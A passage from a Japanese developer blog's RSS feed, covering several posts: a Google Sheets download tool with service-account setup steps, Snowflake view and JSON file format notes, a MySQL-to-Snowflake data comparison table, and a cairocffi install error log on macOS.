&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python manage.py generateschema --format openapi-json | jq &lt;span style="color:#e6db74"&gt;&amp;#34;.components.schemas.Profile&amp;#34;&lt;/span&gt; | datamodel-codegen --output /tmp/model.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Google Spreadsheet を TSVファイルに落とす</title><link>https://hdknr.github.io/blogs/posts/2023/03/google-spreadsheet-%E3%82%92-tsv%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AB%E8%90%BD%E3%81%A8%E3%81%99/</link><pubDate>Sat, 18 Mar 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/03/google-spreadsheet-%E3%82%92-tsv%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AB%E8%90%BD%E3%81%A8%E3%81%99/</guid><description>&lt;h2 id="gsheetpy-googleスプレッドシートのダウンロード"&gt;gsheet.py Googleスプレッドシートのダウンロード&lt;/h2&gt;
&lt;p&gt;メインオプション&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Usage: gsheet.py [OPTIONS] COMMAND [ARGS]...
Tools Subcommand
Options:
-s, --secret_file TEXT クレデンシャルJSONファイル
-o, --out TEXT
--help Show this message and exit.
Commands:
extract URLのシートは クレデンシャルJSONの client_email に対して共有設定すること
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;extract&lt;/code&gt; サブコマンド:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Usage: gsheet.py extract [OPTIONS] URL
URLのシートは クレデンシャルJSONの client_email に対して共有設定すること
Options:
-n, --sheet_name TEXT
--help Show this message and exit.
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="インストール"&gt;インストール&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pip install click gspread google-auth-httplib2 oauth2client
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;クレデンシャルJSONの作り方:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://note.com/kohaku935/n/ned9e907aac77"&gt;https://note.com/kohaku935/n/ned9e907aac77&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;GCPでプロジェクト作成 (&lt;a href="https://console.cloud.google.com/"&gt;https://console.cloud.google.com/&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;APIとサービス&lt;/code&gt; &amp;gt; &lt;code&gt;ライブラリ&lt;/code&gt; から &lt;em&gt;Google Drive API&lt;/em&gt; を有効&lt;/li&gt;
&lt;li&gt;&lt;code&gt;APIとサービス&lt;/code&gt; &amp;gt; &lt;code&gt;ライブラリ&lt;/code&gt; から &lt;em&gt;Google Sheets AP&lt;/em&gt; Iを有効&lt;/li&gt;
&lt;li&gt;&lt;code&gt;APIとサービス&lt;/code&gt; &amp;gt; &lt;code&gt;認証情報&lt;/code&gt; &amp;gt; &lt;code&gt;認証情報を作成&lt;/code&gt; で&lt;code&gt;サービスアカウント&lt;/code&gt; を作成&lt;/li&gt;
&lt;li&gt;&lt;code&gt;サービスアカウント&lt;/code&gt; に &lt;code&gt;編集者&lt;/code&gt; ロールを設定&lt;/li&gt;
&lt;li&gt;&lt;code&gt;APIとサービス&lt;/code&gt; &amp;gt; &lt;code&gt;認証情報&lt;/code&gt; &amp;gt; 作成した &lt;code&gt;サービスアカウント&lt;/code&gt; を選択し、&lt;code&gt;キー&lt;/code&gt; の生成&lt;/li&gt;
&lt;li&gt;&lt;code&gt;キー&lt;/code&gt;画面で、&lt;code&gt;鍵を追加&lt;/code&gt; 。　&lt;code&gt;新しい鍵を作成&lt;/code&gt; で作成。 タイプに&lt;code&gt;JSON&lt;/code&gt;を選択。&lt;/li&gt;
&lt;li&gt;ダウンロードされたJSONを適切な場所に保存&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>Snowfake: ビュー</title><link>https://hdknr.github.io/blogs/posts/2023/03/snowfake-%E3%83%93%E3%83%A5%E3%83%BC/</link><pubDate>Sat, 18 Mar 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/03/snowfake-%E3%83%93%E3%83%A5%E3%83%BC/</guid><description>&lt;h2 id="snowflake-view"&gt;Snowflake View&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.snowflake.com/ja/user-guide/views-introduction"&gt;ビューの概要&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.snowflake.com/ja/sql-reference/sql/create-view"&gt;CREATE VIEW&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="マテリアライズドビューenterprise-edition"&gt;マテリアライズドビュー(&lt;code&gt;Enterprise Edition&lt;/code&gt;)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.snowflake.com/ja/user-guide/views-materialized"&gt;マテリアライズドビューの使用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ベーステーブルで実行された DML の量に関係なく、マテリアライズドビューを介してアクセスされるデータは常に最新です。
マテリアライズドビューが最新になる前にクエリが実行されると、Snowflakeはマテリアライズドビューを更新するか、
マテリアライズドビューの最新部分を使用して、必要な新しいデータをベーステーブルから取得します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.snowflake.com/ja/sql-reference/sql/create-materialized-view"&gt;CREATE MATERIALIZED VIEW&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://products.sint.co.jp/siob/blog/oracle-view-mview"&gt;ビューとマテリアライズド・ビューの違いを理解する&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://zenn.dev/kyami/articles/a7d1e01cf78e59"&gt;Snowflake マテリアライズドビューについて&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://ikuty.com/2022/05/11/snowflake_materialized_view/"&gt;SnowflakeのMaterialized View&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.snowflake.com/ja/user-guide/views-materialized#best-practices-for-clustering-materialized-views-and-their-base-tables"&gt;マテリアライズドビューとそのベーステーブルをクラスタリングするためのベストプラクティス&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="postgresql"&gt;PostgreSQL&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/jiyu58546526/items/84182206f9c908b47d38"&gt;マテリアライズドビューの機能（PostgreSQL）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;マテリアライズドビューの内容をテーブルの最新の状態と同じにしたいときには、REFRESH MATERIALIZED VIEWを実行します&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mysql"&gt;MySQL&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tech.excite.co.jp/entry/2022/02/07/174804"&gt;MySQLでMaterialized Viewを実現する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;残念ながら、MySQLではデフォルトでMaterialized Viewを作る機能は存在しません。&lt;/li&gt;
&lt;li&gt;トリガーかバッチで参照用のテーブルを作る&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Snowfale : MySQL 移行データ比較</title><link>https://hdknr.github.io/blogs/posts/2023/03/snowfale-mysql-%E7%A7%BB%E8%A1%8C%E3%83%87%E3%83%BC%E3%82%BF%E6%AF%94%E8%BC%83/</link><pubDate>Fri, 17 Mar 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/03/snowfale-mysql-%E7%A7%BB%E8%A1%8C%E3%83%87%E3%83%BC%E3%82%BF%E6%AF%94%E8%BC%83/</guid><description>&lt;h2 id="mysql---snowflake-データ移行後の比較"&gt;MySQL -&amp;gt; Snowflake データ移行後の比較&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;対象フィールド型(Python)&lt;/th&gt;
&lt;th&gt;集計&lt;/th&gt;
&lt;th&gt;MySQL&lt;/th&gt;
&lt;th&gt;Snowflake&lt;/th&gt;
&lt;th&gt;補足&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Decimal&lt;/td&gt;
&lt;td&gt;単純合計&lt;/td&gt;
&lt;td&gt;SUM(field)&lt;/td&gt;
&lt;td&gt;SUM(field)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;float&lt;/td&gt;
&lt;td&gt;単純合計&lt;/td&gt;
&lt;td&gt;SUM(field)&lt;/td&gt;
&lt;td&gt;SUM(field)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int&lt;/td&gt;
&lt;td&gt;単純合計&lt;/td&gt;
&lt;td&gt;SUM(field)&lt;/td&gt;
&lt;td&gt;SUM(field)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;str&lt;/td&gt;
&lt;td&gt;MD5の合計&lt;/td&gt;
&lt;td&gt;SUM(CONV(SUBSTRING(MD5(field)), 1, 8), 16, 10)&lt;/td&gt;
&lt;td&gt;SUM(TO_NUMBER(SUBSTR(MD5(field), 1, 8), &amp;lsquo;XXXXXXXX&amp;rsquo;))&lt;/td&gt;
&lt;td&gt;MySQLの整数が小さいので先頭8バイトだけ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;datetime&lt;/td&gt;
&lt;td&gt;Unixエポック合計&lt;/td&gt;
&lt;td&gt;SUM(UNIX_TIMESTAMP(field))&lt;/td&gt;
&lt;td&gt;SUM(ZEROIFNULL(DATE_PART(EPOCH_SECOND, field)) - 32400)&lt;/td&gt;
&lt;td&gt;Snowflakeはローカルタイムゾーン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;date&lt;/td&gt;
&lt;td&gt;Unixエポック合計&lt;/td&gt;
&lt;td&gt;SUM(UNIX_TIMESTAMP(field))&lt;/td&gt;
&lt;td&gt;SUM(ZEROIFNULL(DATE_PART(EPOCH_SECOND, field)) - 32400)&lt;/td&gt;
&lt;td&gt;Snowflakeはローカルタイムゾーン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;time&lt;/td&gt;
&lt;td&gt;秒数の合計&lt;/td&gt;
&lt;td&gt;SUM(TIME_TO_SEC(field))&lt;/td&gt;
&lt;td&gt;SUM(TIMEDIFF(SECOND, &amp;lsquo;00:00:00&amp;rsquo;::TIME, field::TIME))&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Snowflake: NDJSON format</title><link>https://hdknr.github.io/blogs/posts/2023/02/snowflake-ndjson-format/</link><pubDate>Tue, 14 Feb 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/02/snowflake-ndjson-format/</guid><description>&lt;h1 id="create-file-format"&gt;&lt;code&gt;CREATE FILE FORMAT&lt;/code&gt;&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.snowflake.com/ja/sql-reference/sql/create-file-format"&gt;https://docs.snowflake.com/ja/sql-reference/sql/create-file-format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="json"&gt;JSON&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.snowflake.com/ja/sql-reference/sql/create-file-format#type-json"&gt;https://docs.snowflake.com/ja/sql-reference/sql/create-file-format#type-json&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-- If TYPE = JSON
COMPRESSION = AUTO | GZIP | BZ2 | BROTLI | ZSTD | DEFLATE | RAW_DEFLATE | NONE
DATE_FORMAT = &amp;#39;&amp;lt;string&amp;gt;&amp;#39; | AUTO
TIME_FORMAT = &amp;#39;&amp;lt;string&amp;gt;&amp;#39; | AUTO
TIMESTAMP_FORMAT = &amp;#39;&amp;lt;string&amp;gt;&amp;#39; | AUTO
BINARY_FORMAT = HEX | BASE64 | UTF8
TRIM_SPACE = TRUE | FALSE
NULL_IF = ( &amp;#39;&amp;lt;string&amp;gt;&amp;#39; [ , &amp;#39;&amp;lt;string&amp;gt;&amp;#39; ... ] )
FILE_EXTENSION = &amp;#39;&amp;lt;string&amp;gt;&amp;#39;
ENABLE_OCTAL = TRUE | FALSE
ALLOW_DUPLICATE = TRUE | FALSE
STRIP_OUTER_ARRAY = TRUE | FALSE
STRIP_NULL_VALUES = TRUE | FALSE
REPLACE_INVALID_CHARACTERS = TRUE | FALSE
IGNORE_UTF8_ERRORS = TRUE | FALSE
SKIP_BYTE_ORDER_MARK = TRUE | FALSE
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>cairocffi</title><link>https://hdknr.github.io/blogs/posts/2021/08/cairocffi/</link><pubDate>Fri, 27 Aug 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/08/cairocffi/</guid><description>&lt;h2 id="結局"&gt;結局&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;x86_64 でhomebrew 作り直し&lt;/li&gt;
&lt;li&gt;anyenv, python を入れ直し&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/ktgw0316/items/b5358a471ae9ee84f771"&gt;https://qiita.com/ktgw0316/items/b5358a471ae9ee84f771&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arch -arch x86_64 zsh&lt;/code&gt; で x86_64 環境で作業する&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;% uname -m
x86_64
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="問題"&gt;問題&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; % pip install cairocffi lCollecting cairocffi Downloading cairocffi-1.2.0.tar.gz (70 kB) ( |████████████████████████████████| 70 kB 5.4 MB/s
ERROR: Command errored out with exit status 1:
command: /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/bin/python3.9 -c &amp;#39;import io, os, sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-instal
l-uxwwpx3n/cairocffi_949ddafebb174433b898b1d60614bf77/setup.py&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;; __file__=&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_949ddafebb174433b898b1d60614bf77/setup.py&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;;f
= getattr(tokenize, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;open&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;, open)(__file__) if os.path.exists(__file__) else io.StringIO(&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;from setuptools import setup; setup()&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;);code = f.read().replace(&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;\r\n&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;\n&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;);f.close();exec(compi
le(code, __file__, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;exec&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;))&amp;#39; egg_info --egg-base /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-pip-egg-info-952byczr
cwd: /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_949ddafebb174433b898b1d60614bf77/
Complete output (31 lines):
WARNING: The wheel package is not available.
Traceback (most recent call last):
File &amp;#34;&amp;lt;string&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;
File &amp;#34;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_949ddafebb174433b898b1d60614bf77/setup.py&amp;#34;, line 10, in &amp;lt;module&amp;gt;
setup(
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/__init__.py&amp;#34;, line 153, in setup
return distutils.core.setup(**attrs)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/lib/python3.9/distutils/core.py&amp;#34;, line 108, in setup
_setup_distribution = dist = klass(attrs)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 434, in __init__
_Distribution.__init__(self, {
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/lib/python3.9/distutils/dist.py&amp;#34;, line 292, in __init__
self.finalize_options()
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 743, in finalize_options
ep(self)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 750, in _finalize_setup_keywords
ep.load()(self, ep.name, value)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 219, in cffi_modules
add_cffi_module(dist, cffi_module)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 49, in add_cffi_module
execfile(build_file_name, mod_vars)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 25, in execfile
exec(code, glob, glob)
File &amp;#34;cairocffi/ffi_build.py&amp;#34;, line 26, in &amp;lt;module&amp;gt;
ffi = FFI()
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/api.py&amp;#34;, line 48, in __init__
import _cffi_backend as backend
ImportError: dlopen(/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so, 2): Symbol not found: _ffi_prep_closure 9 Referenced from: /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so
Expected in: flat namespace
in /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so
----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/84/ca/0bffed5116d21251469df200448667e90acaa5131edea869b44a3fbc73d0/cairocffi-1.2.0.tar.gz#sha256=9a979b500c64c8179fec286f337e8fe644eca2f2cd05860ce0b62d25f22ea14
0 (from https://pypi.org/simple/cairocffi/) (requires-python:&amp;gt;=3.6). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt; Downloading cairocffi-1.1.0.tar.gz (68 kB)
|████████████████████████████████| 68 kB 41.2 MB/s
ERROR: Command errored out with exit status 1:
command: /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/bin/python3.9 -c &amp;#39;import io, os, sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-instal
l-uxwwpx3n/cairocffi_0871e9b26c6442869a897d8d8df7ca3f/setup.py&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;; __file__=&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_0871e9b26c6442869a897d8d8df7ca3f/setup.py&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;;f
= getattr(tokenize, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;open&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;, open)(__file__) if os.path.exists(__file__) else io.StringIO(&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;from setuptools import setup; setup()&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;);code = f.read().replace(&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;\r\n&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;\n&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;);f.close();exec(compi
le(code, __file__, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;exec&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;))&amp;#39; egg_info --egg-base /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-pip-egg-info-2h4amr27
cwd: /private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_0871e9b26c6442869a897d8d8df7ca3f/
Complete output (31 lines):
WARNING: The wheel package is not available.
Traceback (most recent call last):
File &amp;#34;&amp;lt;string&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;
File &amp;#34;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_0871e9b26c6442869a897d8d8df7ca3f/setup.py&amp;#34;, line 10, in &amp;lt;module&amp;gt;
setup(
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/__init__.py&amp;#34;, line 153, in setup
return distutils.core.setup(**attrs)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/lib/python3.9/distutils/core.py&amp;#34;, line 108, in setup
_setup_distribution = dist = klass(attrs)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 434, in __init__
_Distribution.__init__(self, {
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/lib/python3.9/distutils/dist.py&amp;#34;, line 292, in __init__
self.finalize_options()
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 743, in finalize_options
ep(self)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/setuptools/dist.py&amp;#34;, line 750, in _finalize_setup_keywords
ep.load()(self, ep.name, value)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 219, in cffi_modules
add_cffi_module(dist, cffi_module)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 49, in add_cffi_module
execfile(build_file_name, mod_vars)
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/setuptools_ext.py&amp;#34;, line 25, in execfile
exec(code, glob, glob)
File &amp;#34;cairocffi/ffi_build.py&amp;#34;, line 26, in &amp;lt;module&amp;gt;
ffi = FFI()
File &amp;#34;/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/cffi/api.py&amp;#34;, line 48, in __init__
import _cffi_backend as backend
ImportError: dlopen(/Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so, 2): Symbol not found: _ffi_prep_closure
Referenced from: /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so
Expected in: flat namespace
in /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/lib/python3.9/site-packages/_cffi_backend.cpython-39-darwin.so
----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/f7/99/b3a2c6393563ccbe081ffcceb359ec27a6227792c5169604c1bd8128031a/cairocffi-1.1.0.tar.gz#sha256=f1c0c5878f74ac9ccb5d48b2601fcc75390c881ce476e79f4cfedd288b1b05d
b (from https://pypi.org/simple/cairocffi/) (requires-python:&amp;gt;= 3.5). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt; Downloading cairocffi-1.0.2.tar.gz (68 kB) [24/677]
|████████████████████████████████| 68 kB 46.3 MB/s
ERROR: Command errored out with exit status 1:
command: /Users/hdknr/.anyenv/envs/pyenv/versions/3.9.6/envs/coresys/bin/python3.9 -c &amp;#39;import io, os, sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-instal
l-uxwwpx3n/cairocffi_6df35727083e4413bfaa3e41ad38bc09/setup.py&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;; __file__=&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;/private/var/folders/m0/27vm0kbd5ys1_rs1l54zmwq00000gq/T/pip-install-uxwwpx3n/cairocffi_6df35727083e4413bfaa3e41ad38bc09/setup.py&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;;f
= getattr(tokenize, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;open&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;, open)(__file__) if os.path.exists(__file__) else io.StringIO(&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;from setuptools import setup; setup()&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;);code = f.read().replace(&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;\r\n&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;, &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;\n&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;);f.close();exec(compi
